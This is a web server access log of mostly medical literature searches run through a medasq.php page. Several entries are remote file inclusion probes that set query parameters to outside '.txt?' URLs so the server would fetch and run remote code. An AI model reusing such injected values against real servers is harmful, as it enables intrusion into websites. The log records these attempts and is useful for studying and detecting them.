10: : 7-Set-10 21:06: /medasq.php?z=Science&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
10: : 19-Ago-10 11:03: /medasq.php?z=Dermatologica&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 6-Ago-10 02:43: /medasq.php?z=Biochem J&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
10: : 29-Ago-10 20:41: /medasq.php?z=(j am geriatr soc [ta] OR age ageing [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Show&free=
10: : 17-Apr-10 16:32: /medasq.php?z=Spine J&abstract=1&...vesiamo=0&azione=http://www.palmshop.cz//images/bovb.txt? HTTP/1.0
10: : 16-Ago-10 04:39: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (pregnancy [majr] | pregnancy complications [majr] | lactation [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=180&daevidenziare=&azione=Show&free=
10: : 17-Ago-10 21:40: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (autoimmune diseases [mesh] | autoimmun* [all] | dysimmun* [all] | disimmun* [all] | les | lupus [all] | rheumat* [all] | addison's [all] | graves' [all] | pemphig* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
10: : 12-Ago-10 08:44: /medasq.php?z=Ann+Pharmacother&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 19-Ago-10 01:22: /medasq.php?z=Methods+Find+Exp+Clin+Pharmacol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 17-Apr-10 16:38: /medasq.php?z=Spine+J&abstract=1&quanti=20&highlight=0&daevidenziare=http://www.palmshop.cz//images/bovb.txt?
10: : 3-Set-10 12:41: /medasq.php?z=Int+Rev+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 17-Ago-10 21:06: /medasq.php?z=Metabolism&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Journals&free=
10: : 18-Ago-10 16:17: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hypertension [mesh] | hypertens* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Show&free=
10: : 1-Ago-10 12:32: /medasq.php?z=Metab+Syndr+Relat+Disord&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 18-Ago-10 22:57: /medasq.php?z=Prog+Clin+Biol+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 7-Set-10 08:32: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (nervous system diseases [mesh] | nervous system diseases [all])&abstract=1&quanti=20&highlight=0&dovesiamo=240&daevidenziare=&azione=Show&free=
10: : 17-Ago-10 21:37: /medasq.php?z=(ann emerg med [ta] OR am j emerg med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
10: : 17-Apr-10 16:38: /medasq.php?z=Spine+J&abstract=1&quanti=http://www.palmshop.cz//images/bovb.txt?
10: : 18-Ago-10 23:03: /medasq.php?z=Int+J+Clin+Pharmacol+Ther&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 25-Ago-10 20:47: /medasq.php?z="br j addict"[Journal] OR "alcohol clin exp res"[Journal] OR "alcohol"[Journal] OR "j stud alcohol"[Journal] OR "addiction"[Journal] OR "alcohol alcohol"[Journal] OR "drug alcohol depend"[Journal] OR "int j addict"[Journal]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Show&free=
10: : 5-Set-10 09:28: /medasq.php?z=Int+Angiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
10: : 9-Mag-10 05:50: /medasq.php?z=http://info-sec.vec.go.th/Mail.txt?
10: : 5-Set-10 04:16: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus d